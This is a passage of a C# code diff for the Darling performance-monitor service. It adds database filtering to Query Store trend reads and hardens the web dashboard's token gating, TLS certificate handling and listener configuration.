         QueryStoreTrendRouting.QueryStoreTrendRoute route, CancellationToken cancellationToken = default)
+        => GetQueryStoreDurationTrendAsync(
+            postgres, serverId, startUtc, endUtc, route, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>
+    /// The same read over a SET of databases (#5244). The raw-only statement carries the guarded <c>text[]</c> at $4
+    /// on both arms; the rollup-routed one at $5, after the raw boundary, on the rollup arm and both raw arms.
+    /// <see cref="DatabaseFilter.All"/> binds SQL NULL and reads every database.
+    /// </summary>
+    public static async Task<List<QueryDurationTrendPoint>> GetQueryStoreDurationTrendAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc,
+        QueryStoreTrendRouting.QueryStoreTrendRoute route, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         if (!route.UseRollup)
         {
-            return await ReadDurationTrendAsync(QueryStoreDurationTrendSql, postgres, serverId, startUtc, endUtc, cancellationToken);
+            await using var rawCommand = postgres.CreateCommand(QueryStoreDurationTrendFilteredSql);
+            rawCommand.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            DarlingMcpReadParameters.AddWindow(rawCommand, serverId, startUtc, endUtc);
+            rawCommand.Parameters.Add(databases.Parameter());
+            return await ReadDurationPointsAsync(rawCommand, cancellationToken);
         }
 
-        await using var command = postgres.CreateCommand(QueryStoreDurationTrendRollupSql);
+        await using var command = postgres.CreateCommand(QueryStoreDurationTrendRollupFilteredSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
         DarlingMcpReadParameters.AddTimestamp(command, route.RawStartUtc);
+        command.Parameters.Add(databases.Parameter());
         return await ReadDurationPointsAsync(command, cancellationToken);
     }
 
     /// <summary>
-    /// Shared reader for the three duration trends. All three project the same three columns - point time,
-    /// a per-second value, a per-second execution rate - which is the viewer's own arrangement
-    /// (<c>ReadDurationTrendAsync</c>), kept so the three series cannot drift apart in how they are read.
-    /// Summed bigint deltas come back as Postgres numeric, so the values Convert tolerantly.
+    /// Executes a bound duration-trend command and reads the shared three-column point shape. All three duration
+    /// trends project the same three columns - point time, a per-second value, a per-second execution rate - which is
+    /// the viewer's own arrangement, kept so the three series cannot drift apart in how they are read. Summed bigint
+    /// deltas come back as Postgres numeric, so the values Convert tolerantly. (The unbound-command wrapper that stood
+    /// above this had no callers once every trend ran the filtered statements, #5244 review L1.)
     /// </summary>
-    private static async Task<List<QueryDurationTrendPoint>> ReadDurationTrendAsync(
-        string sql, NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc,
-        CancellationToken cancellationToken)
-    {
-        await using var command = postgres.CreateCommand(sql);
-        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
-        DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
-        return await ReadDurationPointsAsync(command, cancellationToken);
-    }
-
-    /// <summary>Executes a bound duration-trend command and reads the shared three-column point shape.</summary>
     private static async Task<List<QueryDurationTrendPoint>> ReadDurationPointsAsync(
         NpgsqlCommand command, CancellationToken cancellationToken)
     {
@@ -1555,7 +1671,7 @@ LIMIT 1
 
     /// <summary>
     /// Whether this server has EVER recorded a query-stats sample.
-    /// <para>Reads the BASE <c>query_stats</c> table, deliberately, because <see cref="QueryDurationTrendSql"/>
+    /// <para>Reads the BASE <c>query_stats</c> table, deliberately, because <see cref="QueryDurationTrendFilteredSql"/>
     /// does: on a V38+ store <c>v_query_stats</c> is the payload-RESOLVING view, not a passthrough, and the
     /// duration trend projects no text so it never needs it. Probing the view here would be probing a
     /// different relation from the one the read walks — the exact way an existence probe reports the wrong
@@ -1570,7 +1686,7 @@ LIMIT 1
 
     /// <summary>Whether this server has EVER recorded a stored-procedure sample. Reads the BASE
     /// <c>procedure_stats</c> table for the same reason the query-stats probe above does — it is what
-    /// <see cref="ProcedureDurationTrendSql"/> reads. See <see cref="HasAnyMemoryStatSql"/>.</summary>
+    /// <see cref="ProcedureDurationTrendFilteredSql"/> reads. See <see cref="HasAnyMemoryStatSql"/>.</summary>
     public const string HasAnyProcedureStatSql = """
         SELECT 1
         FROM procedure_stats
@@ -1580,7 +1696,7 @@ LIMIT 1
 
     /// <summary>
     /// Whether this server has EVER recorded a Query Store sample. Reads the BASE
-    /// <c>query_store_stats</c> table, the source <see cref="QueryStoreDurationTrendSql"/> walks.
+    /// <c>query_store_stats</c> table, the source <see cref="QueryStoreDurationTrendFilteredSql"/> walks.
     /// <para>Worth the most of the five, because zero rows here has a cause the others do not: Query Store
     /// can simply be OFF on every database. A server with no Query Store data is not a server with no slow
     /// queries, and the read has to say so rather than return a clean-looking empty series.</para>
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs
index 24ed3628f9..b2c141a9c7 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs
@@ -23,6 +23,7 @@
 using Microsoft.AspNetCore.Hosting;
 using Microsoft.AspNetCore.Http;
 using Microsoft.AspNetCore.ResponseCompression;
+using Microsoft.Extensions.Configuration;
 using Microsoft.Extensions.DependencyInjection;
 using Microsoft.Extensions.Hosting;
 using Microsoft.Extensions.Logging;
@@ -54,7 +55,10 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 /// <para><b>Browser auth (network mode only):</b> in network mode EVERY request authenticates, loopback
 /// included — the MCP host's exposed-mode loopback-token SSRF guard, now mirrored here (#1649). Loopback is
 /// exempt from the CIDR test only (127.0.0.1 is not in a LAN CIDR), never from the credential. A
-/// loopback-only dashboard registers no auth middleware at all and remains tokenless. A request needs either a valid session
+/// loopback-only dashboard with no token configured registers no auth middleware at all and remains tokenless; one
+/// with a configured <c>web.network.encryptedToken</c> / <c>token</c> (or that network mode fell back to after its token
+/// resolved, a refused TLS certificate) has this same token-to-cookie gate, because the operator's config says every
+/// client presents the token (<see cref="ResolveLoopbackOnlyToken"/>). A request needs either a valid session
 /// cookie or a valid <c>?token=</c> (constant-time), which is exchanged for an HMAC-signed HttpOnly
 /// SameSite=Strict cookie and 302-redirected to strip the token from the URL; out-of-CIDR is 403; no
 /// cookie/token gets a minimal inline login form. The cookie signing key is a per-process 32-byte RNG value,
@@ -72,8 +76,8 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 /// <see cref="Hosting.DarlingWebTls"/> for the certificate rules and the Kestrel bind below for why the
 /// loopback listeners stay plain HTTP. Without it the exposed listener is plain HTTP and every start warns
 /// that the token and its cookie cross the segment in the clear. A certificate that is missing, unreadable,
-/// ambiguous or expired fail-closes to loopback-only exactly as an undecryptable token does; it never
-/// downgrades to serving the LAN over HTTP.</para>
+/// ambiguous or expired falls back to loopback-only (the token stays resolved and keeps gating it); it never
+/// downgrades to serving the LAN over HTTP. A token that is blank or cannot be decrypted stops the start in every mode.</para>
 ///
 /// <para>The dashboard connects to the store as the least-privilege VIEWER role (not owner, not mcp) — a
 /// read-only pool — on a managed store and on the compose distribution's own store; on any other store as
@@ -134,11 +138,15 @@ public sealed class DarlingWebHostService : BackgroundService
     /// records nothing rather than needing its own instance.</summary>
     private readonly ReadLatencyAccumulator? _readLatency;
 
+    /* #5097: where the web recorders offer a slow or failed read; null in a test-constructed host. */
+    private readonly SlowReadLog? _slowReads;
+
     /// <summary>The live monitored-server registry, so the read tools scope an Azure master target's blocking and deadlock facts per call.</summary>
     private readonly MonitoredServerRegistryState? _registryState;
 
-    public DarlingWebHostService(ILogger<DarlingWebHostService> logger, WebRuntimeState state, CollectorRuntimeState collectorState, WebTlsCertificateState certState, BaselineCache? baselineCache = null, ReadLatencyAccumulator? readLatency = null, MonitoredServerRegistryState? registryState = null)
+    public DarlingWebHostService(ILogger<DarlingWebHostService> logger, WebRuntimeState state, CollectorRuntimeState collectorState, WebTlsCertificateState certState, BaselineCache? baselineCache = null, ReadLatencyAccumulator? readLatency = null, MonitoredServerRegistryState? registryState = null, SlowReadLog? slowReads = null)
     {
+        _slowReads = slowReads;
         _registryState = registryState;
         _logger = logger;
         _state = state;
@@ -187,6 +195,10 @@ lifetime exactly as before (the network exposure block is restart-only by design
         /* #2389: the last control-plane-override report emitted, so a steady disagreement is stated once per
            distinct state instead of on every 5s poll tick. */
         string? lastOverrideReport = null;
+        /* #5288: the last tick's enabled flag (null before the first tick), so the certificate release for a listener
+           that is disabled and not running below runs once per transition to disabled, not on every poll tick - the
+           same last-state shape as lastOverrideReport. */
+        bool? lastEnabled = null;
         while (!stoppingToken.IsCancellationRequested)
         {
             if (config is null && CollectorCadence.IntervalElapsed(lastFailedStartUtc, DateTime.UtcNow, FailedStartBackoff))
@@ -260,8 +272,19 @@ the control plane is quietly ignoring says so instead of presenting as a success
                         lastFailedStartUtc = DateTime.UtcNow;
                     }
                     break;
+
+                /* #5288: not running and disabled. A failed start keeps a certificate refusal or an expired verdict
+                   published (ClearUnlessRefusal), and a runtime disable that comes after it finds no app to stop, so
+                   no stop runs and the worker's alert would stay open until the next start or a service restart.
+                   Release the state with the call StopServerAsync makes, once per transition to disabled. */
+                case WebSupervisorAction.None
+                    when ListenerTlsCertificateState.ReleasesWhenDisabled(_app is not null, toggle.Enabled, lastEnabled):
+                    ReleaseServerCertificate();
+                    break;
             }
 
+            lastEnabled = toggle.Enabled;
+
             try
             {
                 await Task.Delay(SupervisorPollInterval, stoppingToken);
@@ -282,6 +305,10 @@ private async Task StopServerAsync(CancellationToken cancellationToken)
     {
         if (_app is null)
         {
+            /* Nothing is serving, but a start that adopted a certificate and stopped short of building the app
+               must not leave its key held or its verdict published: released BEFORE this return, the way the MCP
+               host's stop does, so no path through this method skips it. */
+            ReleaseServerCertificate();
             return;
         }
 
@@ -303,15 +330,12 @@ private async Task StopServerAsync(CancellationToken cancellationToken)
             _appDataSource = null;
         }
 
-        _serverCertificate?.Dispose();
-        _serverCertificate = null;
-
         /* #3514 follow-up: the served certificate is gone, so stop advertising its expiry to the worker's
            alert sweep. A runtime disable of the dashboard (a no-restart op) reaches here; without the clear
            the worker keeps firing the expiry alert about a dashboard the operator turned off. A port-change
            rebind runs Stop→Start in the same supervisor tick, so the next start re-publishes before the
            hourly sweep can observe this null. */
-        _certState.Clear();
+        ReleaseServerCertificate();
 
         _oidcClient?.Dispose();
         _oidcClient = null;
@@ -319,8 +343,26 @@ hourly sweep can observe this null. */
         _runningPort = 0;
     }
 
-    /// <summary>Failed-start cleanup: a partially built app / data source must not leak between attempts.</summary>
-    private async Task DisposeFailedStartAsync()
+    /// <summary>Disposes the held certificate (its private key) and updates the published certificate state, the way
+    /// the MCP host's helper of the same name does. <paramref name="failedStart"/> keeps a published refusal or
+    /// expired verdict (<see cref="ListenerTlsCertificateState.ClearUnlessRefusal"/>); a stop clears it whatever it is.</summary>
+    private void ReleaseServerCertificate(bool failedStart = false)
+    {
+        try { _serverCertificate?.Dispose(); } catch { /* best-effort */ }
+        _serverCertificate = null;
+        if (failedStart)
+        {
+            _certState.ClearUnlessRefusal(DateTimeOffset.UtcNow);
+        }
+        else
+        {
+            _certState.Clear();
+        }
+    }
+
+    /// <summary>Failed-start cleanup: a partially built app / data source must not leak between attempts.
+    /// Internal so a test drives the real cleanup against the published certificate state.</summary>
+    internal async Task DisposeFailedStartAsync()
     {
         if (_app is not null)
         {
@@ -334,12 +376,11 @@ private async Task DisposeFailedStartAsync()
             _appDataSource = null;
         }
 
-        try { _serverCertificate?.Dispose(); } catch { /* best-effort */ }
-        _serverCertificate = null;
-
         /* #3514 follow-up: a start that published its certificate (before the port-in-use / credential
-           bail below it) but never served TLS must not leave the worker alerting on a non-served cert. */
-        _certState.Clear();
+           bail below it) but never served TLS must not leave the worker alerting on a non-served cert.
+           #5288: a refusal or an expired certificate is the exception - the listener is loopback-only on that
+           verdict whether or not the start failed, so it stays published until a successful load replaces it. */
+        ReleaseServerCertificate(failedStart: true);
 
         try { _oidcClient?.Dispose(); } catch { /* best-effort */ }
         _oidcClient = null;
@@ -367,6 +408,56 @@ internal static DarlingHostBinding.BindDecision ResolveWebBind(WebConfig web, bo
             inContainer: inContainer ?? DarlingHostBinding.IsRunningInContainer);
     }
 
+    /// <summary>The answer of <see cref="ResolveLoopbackOnlyToken"/>: the token the loopback-only dashboard's
+    /// token-to-cookie gate compares against (empty when none is configured, which leaves the dashboard open to local
+    /// browsers), and whether the start must stop because a token that IS configured cannot be used.</summary>
+    internal readonly record struct LoopbackTokenResolution(bool Refuse, string Token);
+
+    /// <summary>
+    /// The access token for a loopback-only start (no <c>web.network.listen</c>, or one the bind ladder refused). A
+    /// token the operator configured gates the loopback dashboard whatever the bind mode, through the same
+    /// token-to-cookie gate a network-exposed start uses. No token configured is <c>(false, "")</c> and the dashboard
+    /// serves local browsers without one, as it always has. A configured token that resolves to nothing or cannot be
+    /// decrypted returns <c>Refuse</c> with one Critical line shaped like the network-mode token lines, because serving
+    /// the dashboard open would drop the credential the operator asked every client to present. The caller owns what a
+    /// refusal does (it fails the start). Never logs the token.
+    /// </summary>
+    internal static LoopbackTokenResolution ResolveLoopbackOnlyToken(WebNetworkConfig? network, ILogger logger)
+    {
+        if (network is null
+            || (string.IsNullOrWhiteSpace(network.EncryptedToken) && string.IsNullOrWhiteSpace(network.Token)))
+        {
+            return new LoopbackTokenResolution(false, "");
+        }
+
+        try
+        {
+            var token = network.ResolveToken(out var usedPlaintext);
+            if (string.IsNullOrWhiteSpace(token))
+            {
+                logger.LogCritical(
+                    "Web dashboard token resolved to empty after decryption — refusing to serve the loopback listener without it; web dashboard not started.");
+                return new LoopbackTokenResolution(true, "");
+            }
+
+            if (usedPlaintext)
+            {
+                logger.LogWarning(
+                    "web.network.token is set in plaintext (dev convenience) — prefer web.network.encryptedToken " +
+                    "(produced by --encrypt-password). This token gates web dashboard access, loopback included.");
+            }
+
+            return new LoopbackTokenResolution(false, token);
+        }
+        catch (Exception ex)
+        {
+            logger.LogCritical(
+                "Web dashboard token could not be decrypted ({Message}) — refusing to serve the loopback listener without it; web dashboard not started.",
+                ex.Message);
+            return new LoopbackTokenResolution(true, "");
+        }
+    }
+
     /// <summary>
     /// One start ATTEMPT of the inner web app at <paramref name="toggle"/>'s port: the port comes from the live
     /// control-plane value, and every bail path returns false so the supervisor retries with backoff instead of
@@ -391,16 +482,18 @@ private async Task<bool> TryStartServerAsync(
         {
             var networkMode = bind.Mode == DarlingHostBinding.BindMode.NetworkAndLoopback;
 
-            /* In network mode ResolveBind has already validated the listen IP, the allowFrom CIDR, AND their
-               address-family agreement, so these two parses cannot throw; only resolving the token can still
-               fail (a corrupt DPAPI blob), which fail-closes to loopback-only rather than exposing tokenless. */
+            /* In network mode ResolveBind has already validated the listen IP, the allowFrom CIDR list (#5288),
+               AND every entry's address-family agreement with the listen, so these two parses cannot throw; only
+               resolving the token can still fail (a corrupt DPAPI blob), and a token that is blank or cannot be
+               decrypted stops the start, as it does in loopback-only mode. The list type's default admits nobody,
+               so the value the loopback mode never reads fails closed too. */
             IPAddress? networkListenIp = null;
-            IPNetwork allowedCidr = default;
+            CidrAllowList allowedCidr = default;
             string accessToken = "";
             if (networkMode)
             {
                 networkListenIp = IPAddress.Parse(network!.Listen!.Trim());
-                allowedCidr = IPNetwork.Parse(network.AllowFrom!.Trim());
+                allowedCidr = CidrAllowList.Parse(network.AllowFrom!);
 
                 try
                 {
@@ -408,8 +501,9 @@ private async Task<bool> TryStartServerAsync(
                     if (string.IsNullOrWhiteSpace(token))
                     {
                         _logger.LogCritical(
-                            "Web dashboard token resolved to empty after decryption — refusing to expose; binding loopback-only.");
-                        networkMode = false;
+                            "Web dashboard token resolved to empty after decryption; web dashboard not started.");
+                        await DisposeFailedStartAsync();
+                        return false;
                     }
                     else
                     {
@@ -425,10 +519,28 @@ private async Task<bool> TryStartServerAsync(
                 catch (Exception ex)
                 {
                     _logger.LogCritical(
-                        "Web dashboard token could not be decrypted ({Message}) — refusing to expose; binding loopback-only.",
+                        "Web dashboard token could not be decrypted ({Message}); web dashboard not started.",
                         ex.Message);
-                    networkMode = false;
+                    await DisposeFailedStartAsync();
+                    return false;
+                }
+            }
+            else
+            {
+                /* A loopback-only start (no web.network.listen, or one the ladder refused) resolves a token the
+                   operator configured too, and the pipeline then gates the loopback dashboard on it through the
+                   token-to-cookie gate, as it gates one that network mode fell back to. No token configured leaves accessToken empty and
+                   the dashboard open to local browsers, as it has always been. A configured token that cannot be used
+                   stops this start, because serving the dashboard open would drop the credential the operator asked
+                   every client to present. */
+                var loopbackToken = ResolveLoopbackOnlyToken(network, _logger);
+                if (loopbackToken.Refuse)
+                {
+                    await DisposeFailedStartAsync();
+                    return false;
                 }
+
+                accessToken = loopbackToken.Token;
             }
 
             /* OIDC sign-in (#2550) — resolved once per start, like the token and the certificate. A
@@ -497,157 +609,45 @@ oidcClient.Options.RoleClaim is null
                 }
             }
 
+            /* #4220: web.publicBaseUrl's host, admitted as one extra allowed Host header value — see
+               ConfigurePipeline's publicBaseUrlHost param and TriageLink.TryGetHost. Pure, so it is computed
+               BEFORE the TLS call (#5288 review F11): the certificate's name check needs the same value, since a
+               certificate that names this host is not mismatched even with no iPAddress SAN. */
+            var publicBaseUrlHost = TriageLink.TryGetHost(web.PublicBaseUrl);
+
             /* TLS for the network listener (#2562). Resolved HERE rather than in the pure ResolveBind ladder for
                the same reason the token is: loading a certificate reads files and a clock, and the ladder is
-               kept free of both. It also means a certificate failure degrades exactly the way a token failure
-               does — Critical, then loopback-only — instead of needing its own BindReason, which the MCP host's
-               parallel enum would have had to grow a member it can never use. */
+               kept free of both. It also means a certificate failure degrades to loopback-only after a Critical line
+               (the token stays resolved and keeps gating it) instead of needing its own BindReason, which the MCP host's
+               parallel enum would have had to grow a member it can never use.
+
+               #5288: the block itself lives in DarlingListenerTls.Resolve now, shared with the MCP host, so
+               there is one fail-closed path and not two copies of it. What stays here is what only this host
+               can do: adopt the certificate, and refuse to expose when TLS was asked for and no certificate
+               came back. */
             DarlingWebTls.LoadedCertificate? serverCertificate = null;
             if (networkMode)
             {
-                var plan = DarlingWebTls.Describe(network!.Tls);
-                switch (plan.Shape)
+                var tlsOutcome = DarlingListenerTls.Resolve(
+                    _logger, _certState, ListenerTlsLabels.Web, network!.Tls, networkListenIp!, effectivePort, publicBaseUrlHost);
+                networkMode = tlsOutcome.Expose;
+
+                /* Adopted by the field IMMEDIATELY, before any of the bail paths below it (port in
+                   use, store credential not ready), so every one of them releases the key. Resolve owned the
+                   certificate until it returned; from this line the field does. */
+                serverCertificate = tlsOutcome.Certificate;
+                _serverCertificate = tlsOutcome.Certificate;
+
+                /* #5288 review F1: Kestrel decides HTTPS from "the listener was handed a certificate", not
+                   from "TLS was configured", so TLS asked for + network mode + no certificate would bind the
+                   LAN address in plain HTTP. Resolve never returns that. This refuses it anyway, with its own
+                   Critical line, because the cost of being wrong is cleartext on the segment. */
+                if (tlsOutcome.ExposesWithoutItsCertificate)
                 {
-                    case DarlingWebTls.TlsShape.NotConfigured:
-                        /* The pre-#2562 behaviour, still the default, and still the only thing a plain-HTTP
-                           reverse proxy in front of the port needs. Warn every start: the token and the cookie
-                           it mints are readable by anything on the segment, and that is easy not to notice
-                           precisely because the dashboard works perfectly. */
-                        _logger.LogWarning(
-                            "Web dashboard is LAN-exposed WITHOUT TLS — the access token and its session cookie cross the "
-                            + "segment in the clear, and web.network.allowFrom bounds only who can route to the port. "
-                            + "Configure web.network.tls (a PKCS#12 bundle or a PEM pair), or front the port with a "
-                            + "TLS-terminating reverse proxy.");
-                        break;
-
-                    case DarlingWebTls.TlsShape.Invalid:
-                        _logger.LogCritical(
-                            "Web dashboard TLS is misconfigured ({Problem}) — refusing to expose; binding loopback-only.",
-                            plan.Problem);
-                        networkMode = false;
-                        break;
-
-                    default:
-                        try
-                        {
-                            var loaded = DarlingWebTls.Load(network.Tls!, plan.Shape);
-                            var certificate = loaded.Leaf;
-
-                            if (plan.Warning is not null)
-                            {
-                                _logger.LogWarning("Web dashboard TLS: {Warning}", plan.Warning);
-                            }
-
-                            /* Lifetime is checked BEFORE the listener is built, not left to the handshake: an
-                               expired certificate takes the dashboard down either way, and this is the only
-                               place the reason reaches an operator's log.
-
-                               ToUniversalTime() is not decoration: X509Certificate2.NotBefore/NotAfter return
-                               LOCAL DateTimes, and while the implicit DateTime->DateTimeOffset conversion does
-                               carry the local offset and would compare correctly, it reads as a UTC value to
-                               everyone who follows. Convert where the trap is, not where it detonates. */
-                            var notBeforeUtc = new DateTimeOffset(certificate.NotBefore.ToUniversalTime());
-                            var notAfterUtc = new DateTimeOffset(certificate.NotAfter.ToUniversalTime());
-                            var lifetime = DarlingWebTls.CheckLifetime(notBeforeUtc, notAfterUtc, DateTimeOffset.UtcNow);
-
-                            /* #3514: publish the served certificate's facts to the worker's alert sweep BEFORE
-                               acting on the lifetime verdict, so a certificate the host is about to refuse still
-                               reaches the operator as a Critical self-alert, not only a log line. An expired one
-                               needs nothing but its NotAfter — the worker reads the lapse off the clock, as it
-                               must for a certificate that lapses mid-run. A NOT-YET-VALID one (#3517) needs the
-                               VERDICT carried: this host decided once, here, and stays loopback-only on that
-                               decision until its next start, whatever the clock does afterwards. A worker left
-                               to re-derive it from NotBefore would call the dashboard healthy the moment the
-                               date passed — while it is still unreachable. */
-                            _certState.Publish(
-                                notBeforeUtc,
-                                notAfterUtc,
-                                certificate.Subject,
-                                certificate.Thumbprint,
-                                refusedNotYetValid: lifetime.Status == DarlingWebTls.LifetimeStatus.NotYetValid);
-
-                            if (lifetime.Refusal is not null)
-                            {
-                                loaded.Dispose();
-                                _logger.LogCritical(
-                                    "Web dashboard TLS certificate cannot be used ({Refusal}) — refusing to expose; binding loopback-only.",
-                                    lifetime.Refusal);
-                                networkMode = false;
-                                break;
-                            }
-
-                            /* Adopted by the field IMMEDIATELY, before any of the bail paths below it (port in
-                               use, store credential not ready), so every one of them releases the key. */
-                            serverCertificate = loaded;
-                            _serverCertificate = loaded;
-
-                            /* The SAN has to name the IP, not a hostname, and that is a consequence of a
-                               control that lives two files away: the anti-DNS-rebind Host allowlist accepts
-                               only `localhost`, a loopback literal, or the configured listen IP, so a LAN
-                               client CANNOT reach this dashboard by DNS name — it is refused 400 before any
-                               route runs. An internal CA asked for "a certificate for darling.corp.local"
-                               issues exactly the certificate that can never match here, and the operator
-                               would learn that from a browser warning rather than from us.
-
-                               A warning, not a refusal: the dashboard genuinely works after a click-through,
-                               and taking it down over a name mismatch would be a worse outcome than saying so.
-                               Skipped on a wildcard bind, where there is no single address to match against.
-                               Reuses the store's own SAN reader rather than growing a second one. */
-                            if (!networkListenIp!.Equals(IPAddress.Any)
-                                && !networkListenIp.Equals(IPAddress.IPv6Any)
-                                && !DarlingManagedPostgres.CertificateSanCoversIp(certificate, networkListenIp))
-                            {
-                                /* One placeholder per argument, in order. A repeated {Listen} would read
-                                   naturally and throw at format time, which the surrounding catch would
-                                   report as "web dashboard failed to start". */
-                                _logger.LogWarning(
-                                    "Web dashboard TLS certificate carries no iPAddress SAN for {Listen} — every browser "
-                                    + "will report a name mismatch. The anti-DNS-rebind Host allowlist accepts only that "
-                                    + "literal IP or loopback in the Host header, so a LAN client has to browse to it by IP "
-                                    + "on port {Port} and a DNS-name-only certificate can never match. Reissue the "
-                                    + "certificate with an iPAddress SAN.",
-                                    networkListenIp, effectivePort);
-                            }
-
-                            var expiry = DarlingWebTls.ExpiryWarning(
-                                certificate.NotAfter.ToUniversalTime(), DateTimeOffset.UtcNow);
-                            if (expiry is not null)
-                            {
-                                _logger.LogWarning(
-                                    "Web dashboard TLS certificate {Expiry} — subject {Subject}, thumbprint {Thumbprint}. "
-                                    + "The dashboard stops serving when it lapses; renew it before then.",
-                                    expiry, certificate.Subject, certificate.Thumbprint);
-                            }
-                            else
-                            {
-                                _logger.LogInformation(
-                                    "Web dashboard TLS certificate loaded — subject {Subject}, thumbprint {Thumbprint}, expires {NotAfter:u}.",
-                                    certificate.Subject, certificate.Thumbprint, certificate.NotAfter.ToUniversalTime());
-                            }
-                        }
-                        catch (Exception ex)
-                        {
-                            /* Release whatever was already adopted. Adoption happens BEFORE the SAN check and
-                               the expiry logging, and both of those still run inside this try — the SAN reader
-                               re-materializes an extension from raw DER and can throw on a malformed one. A
-                               throw there lands here holding a certificate the listener will never use, and
-                               this degrade RETURNS TRUE (loopback-only started fine), so the method's outer
-                               catch and DisposeFailedStartAsync never see it. Without these two lines the
-                               "every bail path releases the key" claim on _serverCertificate is false. */
-                            _serverCertificate?.Dispose();
-                            _serverCertificate = null;
-                            serverCertificate = null;
-                            /* #3514 follow-up: this degrade published the certificate at load but is about to
-                               serve loopback-only, so retract the expiry advertisement too. */
-                            _certState.Clear();
-
-                            _logger.LogCritical(
-                                "Web dashboard TLS certificate could not be loaded ({Message}) — refusing to expose; binding loopback-only.",
-                                ex.Message);
-                            networkMode = false;
-                        }
-
-                        break;
+                    _logger.LogCritical(
+                        "Web dashboard TLS is configured ({Shape}) but no certificate came back — refusing to expose; binding loopback-only.",
+                        tlsOutcome.Shape);
+                    networkMode = false;
                 }
             }
 
@@ -731,9 +731,22 @@ that escapes. Pinned so the ambient variable can never reach this host. */
                 EnvironmentName = Environments.Production,
             });
 
+            /* #5288: the same kind of pin for the framework's forwarded-headers switch, on the very next line so no
+               service is registered between the builder and the pin. The helper lives with the MCP host, which
+               pins its own builder with it; see DarlingMcpHostService.PinForwardedHeadersOff. */
+            DarlingMcpHostService.PinForwardedHeadersOff(builder.Services);
+
             var listenerCertificate = serverCertificate;
             builder.WebHost.ConfigureKestrel(options =>
             {
+                /* #5288: the listeners below are the ONLY ones this host binds. Kestrel adds the endpoints written in
+                   the "Kestrel:Endpoints" section of configuration (an appsettings file in the content root, or a
+                   Kestrel__Endpoints__* variable in the service environment) to whatever the code listens on, with
+                   none of the scheme or certificate decisions made here. Handing it an empty configuration replaces
+                   that loader, so the layout below is the whole layout. The MCP host's ConfigureListeners starts
+                   with the same line. */
+                options.Configure(new ConfigurationBuilder().Build());
+
                 if (networkMode)
                 {
                     /* Bind the specific family, then ALSO both loopback families (unless the listen is itself
@@ -744,19 +757,11 @@ authenticates like any other remote. */
                     {
                         if (listenerCertificate is not null)
                         {
-                            /* ServerCertificateChain, not just ServerCertificate: Kestrel presents ONLY what
-                               it is handed, so an intermediate left out here is an incomplete chain and a
-                               failed handshake on every client that has not independently cached it. Measured
-                               against a real leaf+intermediate PEM before this was wired: the server sent one
-                               certificate. */
-                            listen.UseHttps(https =>
-                            {
-                                https.ServerCertificate = listenerCertificate.Value.Leaf;
-                                if (listenerCertificate.Value.Chain.Count > 0)
-                                {
-                                    https.ServerCertificateChain = listenerCertificate.Value.Chain;
-                                }
-                            });
+                            /* The leaf AND its intermediates, through the body both hosts share (#5288):
+                               Kestrel presents ONLY what it is handed, so see DarlingListenerTls.ConfigureHttps
+                               for why the chain travels with the leaf. This is the one HTTPS call in the file,
+                               and it sits on the network listener alone. */
+                            listen.UseHttps(https => DarlingListenerTls.ConfigureHttps(https, listenerCertificate.Value));
                         }
                     });
 
@@ -806,13 +811,24 @@ this is a method the live-HTTP test calls too rather than a block copied into it
             ConfigureResponseCompression(builder.Services);
 
             _app = builder.Build();
-            /* #4220: web.publicBaseUrl's host, admitted as one extra allowed Host header value — see
-               ConfigurePipeline's publicBaseUrlHost param and TriageLink.TryGetHost. */
-            var publicBaseUrlHost = TriageLink.TryGetHost(web.PublicBaseUrl);
             /* #4214 part 2 / round-1 review Low 3: trimmed copy, not config.Postgres itself — see the
                matching comment at DarlingMcpHostService.cs's AddSingleton(PostgresConfig) registration. */
             var storeHostPostgresConfig = new PostgresConfig { Managed = config.Postgres.Managed, DataDirectory = config.Postgres.DataDirectory };
-            ConfigurePipeline(_app, postgres, networkMode, networkListenIp, allowedCidr, accessToken, oidcClient, publicBaseUrlHost, storeHostPostgresConfig, config.Analyzer);
+
+            /* #5288: a start that was asked to expose and fell back to loopback-only AFTER its token resolved (the
+               TLS block above refused) keeps the token-to-cookie gate on the loopback server, because the operator's
+               config said every client presents the token. accessToken holds the resolved token in both branches above
+               (the network branch, and the loopback-only branch via ResolveLoopbackOnlyToken), so "not network mode,
+               token set" covers that state and a loopback-only start whose configured token resolved. A start
+               with no token configured leaves it empty and stays tokenless; a configured token that cannot be used
+               never gets here, the start stops in every mode. */
+            var requireTokenWhenLoopbackOnly = !networkMode && accessToken.Length > 0;
+
+            /* #5288: the Host guard admits the listen address only while the server is exposed on it. networkListenIp
+               was parsed before any degrade and still holds it afterwards, so it goes through the MCP host's
+               ResolveHostGuardListenIp (the one rule both hosts share) with the final mode: a start that fell back to
+               loopback-only admits loopback names only, whatever it parsed. */
+            ConfigurePipeline(_app, postgres, networkMode, DarlingMcpHostService.ResolveHostGuardListenIp(networkMode, networkListenIp), allowedCidr, accessToken, oidcClient, publicBaseUrlHost, storeHostPostgresConfig, config.Analyzer, requireTokenWhenLoopbackOnly);
 
             /* #2389: name the authority for each half of what is being started — enabled/port from whichever
                plane the supervisor resolved, listen/allowFrom/token always from darling.json. */
@@ -821,18 +837,31 @@ this is a method the live-HTTP test calls too rather than a block copied into it
             {
                 /* #2562: name the SCHEME the exposed listener actually speaks. An operator reading this line is
                    deciding whether the token they are about to paste crosses the wire in the clear, and the
-                   line used to say "http://" unconditionally because that was the only thing it could be. */
+                   line used to say "http://" unconditionally because that was the only thing it could be.
+
+                   #5288 review F11: and name loopback as plain HTTP only when it is. With TLS on and a wildcard
+                   listen there is ONE listener, HTTPS for loopback too, and saying otherwise sends a local
+                   client to the wrong scheme. With no TLS the text is unchanged. Text only: no listener
+                   decision moves. */
